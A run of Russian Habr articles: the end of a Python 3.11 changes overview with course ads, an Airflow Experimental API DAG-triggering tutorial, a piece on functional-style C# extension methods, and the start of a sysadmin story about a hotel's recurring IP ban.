Функция bind\_textdomain\_codeset(), методы outduct\_charset() и set\_output\_charset(), а также параметр *сodeset* функций [translate()](https://docs.python.org/3.11/library/gettext.html#gettext.translation) и [install()](https://docs.python.org/3.11/library/gettext.html#gettext.install) также удаляются, поскольку они используются только для l\*getText() (вклад Сергея Сторчака в [bpo-44235](https://bugs.python.org/issue44235)).
* Из модуля [configparser](https://docs.python.org/3.11/library/configparser.html#module-configparser) удалены: класс SafeConfigParser, свойство filename класса ParsingError, метод readfp() класса ConfigParser, устарел с Python 3.2. (внесено Хьюго ван Кеменаде в [bpo-45173](https://bugs.python.org/issue45173)).
* [Декоратор](https://docs.python.org/3.11/glossary.html#term-decorator) @asyncio.coroutine, позволяющий совместить унаследованные генераторы сопрограмм с кодом async/await. Функция была устаревшей с Python 3.8, и её удаление первоначально планировалось в Python 3.10. Вместо неё используйте [async def](https://docs.python.org/3.11/reference/compound_stmts.html#async-def) (внесено Ильёй Волочием в [bpo-43216](https://bugs.python.org/issue43216)).
* asyncio.coroutines.CoroWrapper используется для обёртывания унаследованных объектов сопрограммы на основе генератора в режиме отладки (внесено Ильёй Волочием в [bpo-43216](https://bugs.python.org/issue43216)).
* Из \_tkinter.TkappType удалён устаревший метод split() (вклад Эрленда Аасланда в [bpo-38371](https://bugs.python.org/issue38371)).
### Портирование кода на Python 3.11
В этом разделе перечислены ранее описанные изменения и другие исправления, которые могут потребовать изменить ваш код.
#### Изменения в API Python
* Запрещена передача не-[concurrent.futures.ThreadPoolExecutor](https://docs.python.org/3.11/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor) исполнителей в loop.set\_default\_executor() после исправления в Python 3.8. (Внесено Ильёй Волочием в [bpo-43234](https://bugs.python.org/issue43234)).
* [open()](https://docs.python.org/3.11/library/functions.html#open), [io.open()](https://docs.python.org/3.11/library/io.html#io.open), [codecs.open()](https://docs.python.org/3.11/library/codecs.html#codecs.open) и [fileinput.FileInput](https://docs.python.org/3.11/library/fileinput.html#fileinput.FileInput) больше не принимают 'U' (“универсальную новую строку”) в режиме файла. Этот флаг был устаревшим с версии Python 3.3. В Python 3 "универсальная новая строка" используется по умолчанию, когда файл открыт в текстовом режиме. Параметр [newline](https://docs.python.org/3.11/library/functions.html#open-newline-parameter) в [open()](https://docs.python.org/3.11/library/functions.html#open) управляет тем, как работает универсальная новая строка (внесено Виктором Стиннером в [bpo-37330](https://bugs.python.org/issue37330)).
* Модуль [pdb](https://docs.python.org/3.11/library/pdb.html#module-pdb) теперь читает конфигурационный файл .pdbrc с кодировкой 'utf-8' (внесено Шринивасом Редди Тхатипарти (శ్రీనివాస్ రెడ్డి తాటిపర్తి) в [bpo-41137](https://bugs.python.org/issue41137)).
### Изменения в сборке
* CPython теперь может быть собран с опцией ThinLTO с опцией --with-lto=thin. (вклад Дон-Хи На и Бретта Холмана в [bpo-44340](https://bugs.python.org/issue44340)).
### Изменения в C API
#### Новые возможности
* Добавлена функция [PyType\_GetName()](https://docs.python.org/3.11/c-api/type.html#c.PyType_GetName) для получения короткого имени типа. (Внесено Хай-Ши в [bpo-42035](https://bugs.python.org/issue42035)).
* Добавлена новая функция [PyType\_GetQualName()](https://docs.python.org/3.11/c-api/type.html#c.PyType_GetQualName) для получения квалифицированного имени типа (внесено Хай-Ши в [bpo-42035](https://bugs.python.org/issue42035)).
#### Портирование на Python 3.11
* Старые макросы "мусорной корзины" (Py\_TRASHCAN\_SAFE\_BEGIN/Py\_TRASHCAN\_SAFE\_END) следует заменить новыми макросами Py\_TRASHCAN\_BEGIN и Py\_TRASHCAN\_END.
Функция tp\_dealloc, имеющая старые макросы, такие как:
```
static void
mytype_dealloc(mytype *p)
{
PyObject_GC_UnTrack(p);
Py_TRASHCAN_SAFE_BEGIN(p);
...
Py_TRASHCAN_SAFE_END
}
```
должна перейти на новые макросы таким образом:
```
static void
mytype_dealloc(mytype *p)
{
PyObject_GC_UnTrack(p);
Py_TRASHCAN_BEGIN(p, mytype_dealloc)
...
Py_TRASHCAN_END
}
```
Py\_TRASHCAN\_BEGIN имеет второй аргумент, который должен быть функцией освобождения памяти, где он находится.
Для поддержки старых версий Python в одной и той же кодовой базе можно определить следующие макросы и использовать их во всём коде (они были скопированы из кодовой базы mypy):
```
#if PY_MAJOR_VERSION >= 3 && PY_MINOR_VERSION >= 8
# define CPy_TRASHCAN_BEGIN(op, dealloc) Py_TRASHCAN_BEGIN(op, dealloc)
# define CPy_TRASHCAN_END(op) Py_TRASHCAN_END
#else
# define CPy_TRASHCAN_BEGIN(op, dealloc) Py_TRASHCAN_SAFE_BEGIN(op)
# define CPy_TRASHCAN_END(op) Py_TRASHCAN_SAFE_END(op)
#endif
```
* Функция [PyType\_Ready()](https://docs.python.org/3.11/c-api/type.html#c.PyType_Ready) теперь выдаёт ошибку, если тип определён с установленным флагом [Py\_TPFLAGS\_HAVE\_GC](https://docs.python.org/3.11/c-api/typeobj.html#Py_TPFLAGS_HAVE_GC), но не имеет функции обхода ([PyTypeObject.tp\_traverse](https://docs.python.org/3.11/c-api/typeobj.html#c.PyTypeObject.tp_traverse)) (внесено Виктором Стиннером в [bpo-44263](https://bugs.python.org/issue44263)).
* Типы кучи с флагом [Py\_TPFLAGS\_IMMUTABLETYPE](https://docs.python.org/3.11/c-api/typeobj.html#Py_TPFLAGS_IMMUTABLETYPE) теперь могут наследовать протокол векторных вызовов [PEP 590](https://www.python.org/dev/peps/pep-0590). Ранее это было возможно только для [статических типов](https://docs.python.org/3.11/c-api/typeobj.html#static-types) (вклад Эрленда Аасланда в [bpo-43908](https://bugs.python.org/issue43908)).
* Поскольку [Py\_TYPE()](https://docs.python.org/3.11/c-api/structures.html#c.Py_TYPE) изменён на встроенную статическую функцию, Py\_TYPE(obj) = new\_type должно быть заменено на Py\_SET\_TYPE(obj, new\_type): см. функцию [Py\_SET\_TYPE()](https://docs.python.org/3.11/c-api/structures.html#c.Py_SET_TYPE), которая доступна начиная с Python 3.9. Для обратной совместимости можно использовать этот макрос:
```
#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_SET_TYPE)
static inline void _Py_SET_TYPE(PyObject *ob, PyTypeObject *type)
{ ob->ob_type = type; }
#define Py_SET_TYPE(ob, type) _Py_SET_TYPE((PyObject*)(ob), type)
#endif
```
(Вклад Виктора Стиннера в [bpo-39573](https://bugs.python.org/issue39573)).
* Поскольку [Py\_SIZE()](https://docs.python.org/3.11/c-api/structures.html#c.Py_SIZE) изменена на встроенную статическую функцию, Py\_SIZE(obj) = new\_size нужно заменить на Py\_SET\_SIZE(obj, new\_size): см. функцию [Py\_SET\_SIZE()](https://docs.python.org/3.11/c-api/structures.html#c.Py_SET_SIZE) (доступна начиная с Python 3.9). Для обратной совместимости можно использовать этот макрос:
```
#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_SET_SIZE)
static inline void _Py_SET_SIZE(PyVarObject *ob, Py_ssize_t size)
{ ob->ob_size = size; }
#define Py_SET_SIZE(ob, size) _Py_SET_SIZE((PyVarObject*)(ob), size)
#endif
```
(Внесено Виктором Стиннером в [bpo-39573](https://bugs.python.org/issue39573)).
### Устаревшее
#### Удалённое
* PyFrame\_BlockSetup() и PyFrame\_BlockPop() удалены (вклад Марка Шеннона в [bpo-40222](https://bugs.python.org/issue40222)).
* Удалены следующие функции настройки инициализации Python:
* [PySys\_AddWarnOptionUnicode()](https://docs.python.org/3.11/c-api/sys.html#c.PySys_AddWarnOptionUnicode);
* [PySys\_AddWarnOption()](https://docs.python.org/3.11/c-api/sys.html#c.PySys_AddWarnOption);
* [PySys\_AddXOption()](https://docs.python.org/3.11/c-api/sys.html#c.PySys_AddXOption);
* PySys\_HasWarnOptions();
* [Py\_SetPath()](https://docs.python.org/3.11/c-api/init.html#c.Py_SetPath);
* [Py\_SetProgramName()](https://docs.python.org/3.11/c-api/init.html#c.Py_SetProgramName);
* [Py\_SetPythonHome()](https://docs.python.org/3.11/c-api/init.html#c.Py_SetPythonHome);
* [Py\_SetStandardStreamEncoding()](https://docs.python.org/3.11/c-api/init.html#c.Py_SetStandardStreamEncoding);
* \_Py\_SetProgramFullPath().
Используйте новый API [PyConfig](https://docs.python.org/3.11/c-api/init_config.html#c.PyConfig) из [Python Initialization Configuration](https://docs.python.org/3.11/c-api/init_config.html#init-config), [PEP 587](https://www.python.org/dev/peps/pep-0587), (внесено Виктором Стиннером в [bpo-44113](https://bugs.python.org/issue44113)).
Прокачать навыки или начать изучать Python вы можете на наших курсах:
* [Профессия Fullstack-разработчик на Python (15 месяцев)](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_031021&utm_term=conc)
* [Курс «Python-разработчик» (10 месяцев)](https://skillfactory.ru/python-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_py_031021&utm_term=conc)
Также вы можете перейти на страницы [из каталога](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_031021&utm_term=conc), чтобы узнать, как мы готовим специалистов в других направлениях.
Профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_031021&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_031021&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_031021&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_031021&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_031021&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_031021&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_031021&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_031021&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_031021&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_031021&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_031021&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_031021&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_031021&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_031021&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_031021&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_031021&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_031021&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_031021&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_031021&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_031021&utm_term=cat)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_031021&utm_term=cat) | https://habr.com/ru/post/581270/ | null | ru | null |
# Как сделать триггер DAG'а в Airflow, используя Experimental API
При подготовке наших образовательных программ мы периодически сталкиваемся со сложностями с точки зрения работы с некоторыми инструментами. И на тот момент, когда мы с ними сталикваемся, не всегда есть достаточно документации и статей, которые помогли бы с этой проблемой справиться.
Так было, например, в 2015 году и мы на программе “Специалист по большим данным” пользовались Hadoop-кластером со Spark на 35 одновременных пользователей. Как его готовить под такой юзкейс с использованием YARN, было непонятно. В итоге, разобравшись и пройдя путь самостоятельно, сделали [пост на Хабре](https://habr.com/ru/company/newprolab/blog/327556/) и еще выступили на [Moscow Spark Meetup](https://www.facebook.com/afishamansarda/videos/1648050321885680/?__xts__%5B0%5D=68.ARAPjMpjpACKX-w-LDrf8tNkpuVvbQFcqTLNmoMPDDYo5FzJ-t9DC4-LN3ITe6RM2RaJNnuZ_Nbl0KQeYGYQa_qrsQwS2D9drcG-IVgEe3OlmWZEpxMEDIYazpIWUSG8iOdkFrVcLwVwwpZWil2mr-dSvwjp5EfUnmAac2uIt0doZG440GkYIumPDy7Ym0Ol_F8oMoGw1K39kZEidj0YlKQ4RlYrlsw_BnmI30W-pnAH49ViOTM5MQEq0aSbyVGE2WqhVY-oAGTMA9CEh_2d4abpy2EHFg2eGDmlMwmlqQhEAG0M6aADJfqLN33f-uWfm2H_PgiLwzb1fRXEYxu6pcQqfb4QiLM6m3o&__tn__=-R).
### Предыстория
В этот раз речь пойдет о другой программе – [Data Engineer](http://gaurl.ru/rzveId). На ней наши участники строят два типа архитектуры: lambda и kappa. И в lamdba-архитектуре в рамках батч-обработки используется Airflow для перекладывания логов из HDFS в ClickHouse.
Все в общем-то хорошо. Пусть строят свои пайплайны. Однако, есть "но": все наши программы технологичны с точки зрения самого процесса обучения. Для проверки лаб мы используем автоматические чекеры: участнику нужно зайти в личный кабинет, нажать кнопку “Проверить”, и через какое-то время он видит какую-то расширенную обратную связь на то, что сделал. И именно в этот момент мы начинаем подходить к нашей проблеме.
Проверка этой лабы устроена так: мы посылаем контрольный пакет данных в Kafka участника, далее Gobblin перекладывает этот пакет данных на HDFS, далее Airflow берет этот пакет данных и кладет в ClickHouse. Фишка в том, что Airflow не должен это делать в реал-тайме, он это делает по расписанию: раз в 15 минут берет пачку файлов и закидывает.
Получается, что нам нужно как-то триггерить их DAG самостоятельно по нашему требованию во время работы чекера здесь и сейчас. Погуглив, выяснили, что для поздних версий Airflow существует так называемый [Experimental API](http://airflow.apache.org/api.html). Слово `experimental`, конечно, звучит пугающе, но что делать… Вдруг взлетит.
Далее опишем весь путь: от установки Airflow до формирования POST-запроса, который триггерит DAG, используя Experimental API. Работать будем с Ubuntu 16.04.
### 1. Установка Airflow
Проверим, что у нас стоит Python 3 и virtualenv.
```
$ python3 --version
Python 3.6.6
$ virtualenv --version
15.2.0
```
Если чего-то из этого нет, то установите.
Теперь создадим каталог, в котором будем дальше работать с Airflow.
```
$ mkdir
$ cd /path/to/your/new/directory
$ virtualenv -p which python3 venv
$ source venv/bin/activate
(venv) $
```
Установим Airflow:
```
(venv) $ pip install airflow
```
Версия, на которой работали мы: 1.10.
Теперь нам нужно создать каталог `airflow_home`, где будут располагаться DAG-файлы и плагины Airflow. После создания каталога установим переменную среды `AIRFLOW_HOME`.
```
(venv) $ cd /path/to/my/airflow/workspace
(venv) $ mkdir airflow_home
(venv) $ export AIRFLOW_HOME=
```
Следующий шаг — выполним команду, которая будет создавать и инициализировать базу данных потока данных в SQLite:
```
(venv) $ airflow initdb
```
База данных будет создана в `airflow.db` по умолчанию.
Проверим установился ли Airflow:
```
$ airflow version
[2018-11-26 19:38:19,607] {__init__.py:57} INFO - Using executor SequentialExecutor
[2018-11-26 19:38:19,745] {driver.py:123} INFO - Generating grammar tables from /usr/lib/python3.6/lib2to3/Grammar.txt
[2018-11-26 19:38:19,771] {driver.py:123} INFO - Generating grammar tables from /usr/lib/python3.6/lib2to3/PatternGrammar.txt
____________ _____________
____ |__( )_________ __/__ /________ __
____ /| |_ /__ ___/_ /_ __ /_ __ \_ | /| / /
___ ___ | / _ / _ __/ _ / / /_/ /_ |/ |/ /
_/_/ |_/_/ /_/ /_/ /_/ \____/____/|__/
v1.10.0
```
Если команда отработала, то Airflow создал свой конфигурационный файл `airflow.cfg` в `AIRFLOW_HOME`:
```
$ tree
.
├── airflow.cfg
└── unittests.cfg
```
У Airflow есть веб-интерфейс. Его можно запустить, выполнив команду:
```
(venv) $ airflow webserver --port 8081
```
Теперь вы можете попасть в веб-интерфейс в браузере на порту 8081 на хосте, где Airflow был запущен, например: .
### 2. Работа с Experimental API
На этом Airflow настроен и готов к работе. Тем не менее, нам нужно запустить еще и Experimental API. Наши чекеры написаны на Python, поэтому далее все запросы будут на нем с использованием библиотеки `requests`.
На самом деле API уже работает для простых запросов. Например, такой запрос позволяет потестить его работу:
```
>>> import requests
>>> host =
>>> airflow\_port = 8081 #в нашем случае такой, а по дефолту 8080
>>> requests.get('http://{}:{}/{}'.format(host, airflow\_port, 'api/experimental/test').text
'OK'
```
Если получили такое сообщение в ответ, то это значит, что все работает.
Однако, когда мы захотим затригерить DAG, то столкнемся с тем, что этот вид запроса нельзя сделать без аутентификации.
Для этого нужно будет проделать еще ряд действий.
Во-первых, в конфиг нужно добавить это:
```
[api]
auth_backend = airflow.contrib.auth.backends.password_auth
```
Затем, нужно создать своего пользователя с админскими правами:
```
>>> import airflow
>>> from airflow import models, settings
>>> from airflow.contrib.auth.backends.password_auth import PasswordUser
>>> user = PasswordUser(models.Admin())
>>> user.username = 'new_user_name'
>>> user.password = 'set_the_password'
>>> session = settings.Session()
>>> session.add(user)
>>> session.commit()
>>> session.close()
>>> exit()
```
Затем, нужно создать пользователя с обычными правами, которому будет разрешено делать триггер DAG’а.
```
>>> import airflow
>>> from airflow import models, settings
>>> from airflow.contrib.auth.backends.password_auth import PasswordUser
>>> user = PasswordUser(models.User())
>>> user.username = 'newprolab'
>>> user.password = 'Newprolab2019!'
>>> session = settings.Session()
>>> session.add(user)
>>> session.commit()
>>> session.close()
>>> exit()
```
Теперь все готово.
### 3. Запуск POST-запроса
Сам POST-запрос будет выглядет так:
```
>>> dag_id = newprolab
>>> url = 'http://{}:{}/{}/{}/{}'.format(host, airflow_port, 'api/experimental/dags', dag_id, 'dag_runs')
>>> data = {"conf":"{\"key\":\"value\"}"}
>>> headers = {'Content-type': 'application/json'}
>>> auth = ('newprolab', 'Newprolab2019!')
>>> uri = requests.post(url, data=json.dumps(data), headers=headers, auth=auth)
>>> uri.text
'{\n "message": "Created "\n}\n'
```
Запрос обработан успешно.
Соответственно, далее мы даем какое-то время DAG’у на обработку и делаем запрос в таблицу ClickHouse, пытаясь поймать контрольный пакет данных.
Проверка завершена. | https://habr.com/ru/post/445852/ | null | ru | null |
# Функциональный C#
C# — язык мультипарадигмальный. В последнее время крен наметился в сторону [функциональщины](https://habrahabr.ru/post/280978/). Можно пойти дальше и добавить еще немного методов-расширений, позволяющих писать меньше кода, не «залезая» при этом на территорию F#.
#### PipeTo
Пока [Pipe Operator](https://github.com/dotnet/roslyn/issues/5445) не собираются включать в следующий релиз. Что-ж, можно обойтись и методом.
```
public static TResult PipeTo(
this TSource source, Func func)
=> func(source);
```
**Императивный вариант**
```
public IActionResult Get()
{
var someData = query
.Where(x => x.IsActive)
.OrderBy(x => x.Id)
.ToArray();
return Ok(someData);
}
```
**С PipeTo**
```
public IActionResult Get() => query
.Where(x => x.IsActive)
.OrderBy(x => x.Id)
.ToArray()
.PipeTo(Ok);
```
Заметили? В первом варианте мне нужно было вернуть взгляд к объявлению переменной и потом перейти к Ok. С PipeTo execution-flow строго слева-направо, сверху-вниз.
#### Either
В реальном мире алгоритмы чаще содержат ветвления, чем бывают линейными:
```
public IActionResult Get(int id) => query
.Where(x => x.Id == id)
.SingleOrDefault()
.PipeTo(x => x != null ? Ok(x) : new NotFoundResult(“Not Found”));
```
Выглядит уже не так хорошо. Исправим это с помощью метода `Either`:
```
public static TOutput Either(this TInput o, Func condition,
Func ifTrue, Func ifFalse)
=> condition(o) ? ifTrue(o) : ifFalse(o);
public IActionResult Get(int id) => query
.Where(x => x.Id == id)
.SingleOrDefault()
.Either(x => x != null, Ok, \_ => (IActionResult)new NotFoundResult("Not Found"));
```
Добавим перегрузку с проверкой на null:
```
public static TOutput Either(this TInput o, Func ifTrue,
Func ifFalse)
=> o.Either(x => x != null, ifTrue, ifFalse);
public IActionResult Get(int id) => query
.Where(x => x.Id == id)
.SingleOrDefault()
.Either(Ok, \_ => (IActionResult)new NotFoundResult("Not Found"));
```
К сожалению вывод типов в C# еще не идеален, поэтому пришлось добавить явный каст к `IActionResult`.
#### Do
Get-методы контроллеров не должны создавать побочных эффектов, но иногда «очень надо».
```
public static T Do(this T obj, Action action)
{
if (obj != null)
{
action(obj);
}
return obj;
}
public IActionResult Get(int id) => query
.Where(x => x.Id == id)
.Do(x => ViewBag.Title = x.Name)
.SingleOrDefault()
.Either(Ok, \_ => (IActionResult)new NotFoundResult("Not Found"));
```
> При такой организации кода побочный эффект с Do обязательно бросится в глаза во время code review. Хотя в целом использование Do — очень спорная идея.
#### ById
Не находите, что повторять постоянно `q.Where(x => x.Id == id).SingleOrDefault()` муторно?
```
public static TEntity ById(this IQueryable queryable, TKey id)
where TEntity : class, IHasId where TKey : IComparable, IComparable, IEquatable
=> queryable.SingleOrDefault(x => x.Id.Equals(id));
public IActionResult Get(int id) => query
.ById(id)
.Do(x => ViewBag.Title = x.Name)
.Either(Ok, \_ => (IActionResult)new NotFoundResult("Not Found"));
```
А если, я не хочу получать сущность целиком и мне нужна проекция:
```
public static TProjection ById(this IQueryable queryable, TKey id,
Expression> projectionExpression)
where TKey : IComparable, IComparable, IEquatable
where TEntity : class, IHasId
where TProjection : class, IHasId
=> queryable.Select(projectionExpression).SingleOrDefault(x => x.Id.Equals(id));
public IActionResult Get(int id) => query
.ById(id, x => new {Id = x.Id, Name = x.Name, Data = x.Data})
.Do(x => ViewBag.Title = x.Name)
.Either(Ok, \_ => (IActionResult)new NotFoundResult("Not Found"));
```
Я думаю, что к текущему моменту `(IActionResult)new NotFoundResult("Not Found"))` уже тоже примелькалось и вы сами без труда напишете метод `OkOrNotFound`
#### Paginate
Пожалуй, не бывает приложений, работающих с данными без постраничного вывода.
Вместо:
```
.Skip((paging.Page - 1) * paging.Take)
.Take(paging.Take);
```
Можно сделать так:
```
public interface IPagedEnumerable : IEnumerable
{
long TotalCount { get; }
}
public static IQueryable Paginate(this IOrderedQueryable queryable, IPaging paging)
=> queryable
.Skip((paging.Page - 1) \* paging.Take)
.Take(paging.Take);
public static IPagedEnumerable ToPagedEnumerable(this IOrderedQueryable queryable,
IPaging paging)
where T : class
=> From(queryable.Paginate(paging).ToArray(), queryable.Count());
public static IPagedEnumerable From(IEnumerable inner, int totalCount)
=> new PagedEnumerable(inner, totalCount);
public IActionResult Get(IPaging paging) => query
.Where(x => x.IsActive)
.OrderBy(x => x.Id)
.ToPagedEnumerable(paging)
.PipeTo(Ok);
```
#### ~~IQueryableSpecification~~ [IQueryableFilter](https://habrahabr.ru/post/325280/#upd)
Если вы дочитали до этого места, возможно, Вам понравится [идея по другому компоновать Where и OrderBy в LINQ выражениях](https://habrahabr.ru/post/325280/):
```
public class MyNiceSpec : AutoSpec
{
public int? Id { get; set; }
public string Name { get; set; }
public string Code { get; set; }
public string Description { get; set; }
}
public IActionResult Get(MyNiceSpec spec) => query
.Where(spec)
.OrderBy(spec)
.ToPagedEnumerable(paging)
.PipeTo(Ok);
```
При этом иногда имеет смысл применять `Where` до вызова `Select`, а иногда — после. Добавим метод `MaybeWhere`, который сможет работать как с `IQueryableSpecification`, так и с `Expression>`
```
public static IQueryable MaybeWhere(this IQueryable source, object spec)
where T : class
{
var specification = spec as IQueryableSpecification;
if (specification != null)
{
source = specification.Apply(source);
}
var expr = spec as Expression>;
if (expr != null)
{
source = source.Where(expr);
}
return source;
}
```
И теперь можно написать метод, учитывающий разные варианты:
```
public static IPagedEnumerable Paged(
this IQueryableProvider queryableProvider, IPaging spec ,
Expression> projectionExpression)
where TEntity : class, IHasId
where TDest : class, IHasId
=> queryableProvider
.Query()
.MaybeWhere(spec)
.Select(projectionExpression)
.MaybeWhere(spec)
.MaybeOrderBy(spec)
.OrderByIdIfNotOrdered()
.ToPagedEnumerable(spec);
```
Или с применением [Queryable Extensions AutoMapper](https://github.com/AutoMapper/AutoMapper/wiki/Queryable-Extensions):
```
public static IPagedEnumerable Paged(this IQueryableProvider queryableProvider,
IPaging spec)
where TEntity : class, IHasId
where TDest : class, IHasId => queryableProvider
.Query()
.MaybeWhere(spec)
.ProjectTo()
.MaybeWhere(spec)
.MaybeOrderBy(spec)
.OrderByIdIfNotOrdered()
.ToPagedEnumerable(spec);
```
Если вы считаете, что лепить `IPaging`, `IQueryableSpecififcation` и `IQueryableOrderBy` на один объект богомерзко, то ваш вариант такой:
```
public static IPagedEnumerable Paged(this IQueryableProvider queryableProvider,
IPaging paging, IQueryableOrderBy queryableOrderBy,
IQueryableSpecification entitySpec = null, IQueryableSpecification destSpec = null)
where TEntity : class, IHasId where TDest : class
=> queryableProvider
.Query()
.EitherOrSelf(entitySpec, x => x.Where(entitySpec))
.ProjectTo()
.EitherOrSelf(destSpec, x => x.Where(destSpec))
.OrderBy(queryableOrderBy)
.ToPagedEnumerable(paging);
```
В итоге получаем три строчки кода для метода, который фильтрует, сортирует и обеспечивает постраничный вывод для любых источников данных с поддержкой LINQ.
```
public IActionResult Get(MyNiceSpec spec) => query
.Paged(spec)
.PipeTo(Ok);
```
К сожалению сигнатуры методов в C# выглядят монструозно из-за обилия generic'ов. К счастью, в прикладном коде параметры методов можно опустить. Сигнатуры extension'ов LINQ выглядят примерно также. Как часто вы указываете возвращаемый из `Select` тип? Хвала `var`, который избавил нас от этого мучения. | https://habr.com/ru/post/325308/ | null | ru | null |
# Сетевой поединок
#### Вступление
Я хочу рассказать вам почти детективную историю о сетевом поединке. Прошу прощения за длинное вступление, мне показалось, что без него не будет понятно, почему всё так вышло.
Одна сторона я — занимался администрированием лет 10 назад, в организации, где было около 150 компьютеров и тогда всё в Windows (2000). Позже от администрирования отошёл, и хотя сейчас на работе осуществляю функции администратора (тоже с Windows), но больше по поддержке, чтобы не падало, чем по продвижению куда-то вперёд. В жизни отвернулся от Microsoft и сейчас использую Ubuntu Linux. Ubuntu и на уровне пользователя, потому что уже далеко не студент — на компьютере надо работать работу, на ныряние в глубины при всём желании не хватает времени.
О другой стороне я расскажу позже, а пока вокруг поля боя.
Год назад моя половина устроилась руководителем ИТ-отдела в один из многочисленных в нашем курортном городе отелей. В тот момент там работали два парня (правда один из них скоро ушёл) и меня смешила возникшая ассоциация с IT Crowd. Хотя это просто посмеяться — на самом деле она разбирается в ПО автоматизации гостиничного бизнеса, а году в 2003 успешно сдала пару экзаменов MS по администрированию. Тем не менее большого опыта администрирования ну и какого-то мужского отношения к этому у неё нет.
Осенью и второй решил покинуть компанию и уехал в Москву, продолжать профессиональный рост. Оставил после себя рабочую станцию с Gentoo (она перешла половине по наследству), сервера с Gentoo и FreeBSD, домен Windows (с двумя DC), одну Cisco 1810 и пообещал поддерживать удалённо в меру сил. (Страшное пожелание директору компании: «Да чтобы у тебя гентушник уволился!»).
Рабочая станция после вытаскивания личной видеоплаты и ещё может быть чего-то не хотела загружаться и тогда я дома с ней занимался, с Gentoo познакомился и в итоге привёл в порядок, хотя через время всё забыл. Сам я очень не люблю заниматься ещё и работой половины, сторонюсь этого, как могу. Только уже когда дома привезённый стоит, ну некуда деваться.
Постепенно отношения компании с гентушником сошли на нет, вместо него стал работать молодой парень, который до этого работал на подстраховке и на полставки, условно Вова. Со временем Вова стал как-то справляться с администрированием один, а недавно пришёл и ещё один молодой парень.
#### Обострение
В каждой компании есть какие-то особенности, к которым старожилы привыкают, а молодые и энергичные хотят победить, но чаще уступают место следующим. В этой компании это регулярно повторяющийся бан их IP-адреса хостингом их же сайта. Время от времени половина обращалась ко мне с вопросом — что делать, и уходила с ответом — смотрите логи своего squid'а. Что по какой-то причине не удавалось сделать: бан снимали/лог не находился за нужное время и т.д…
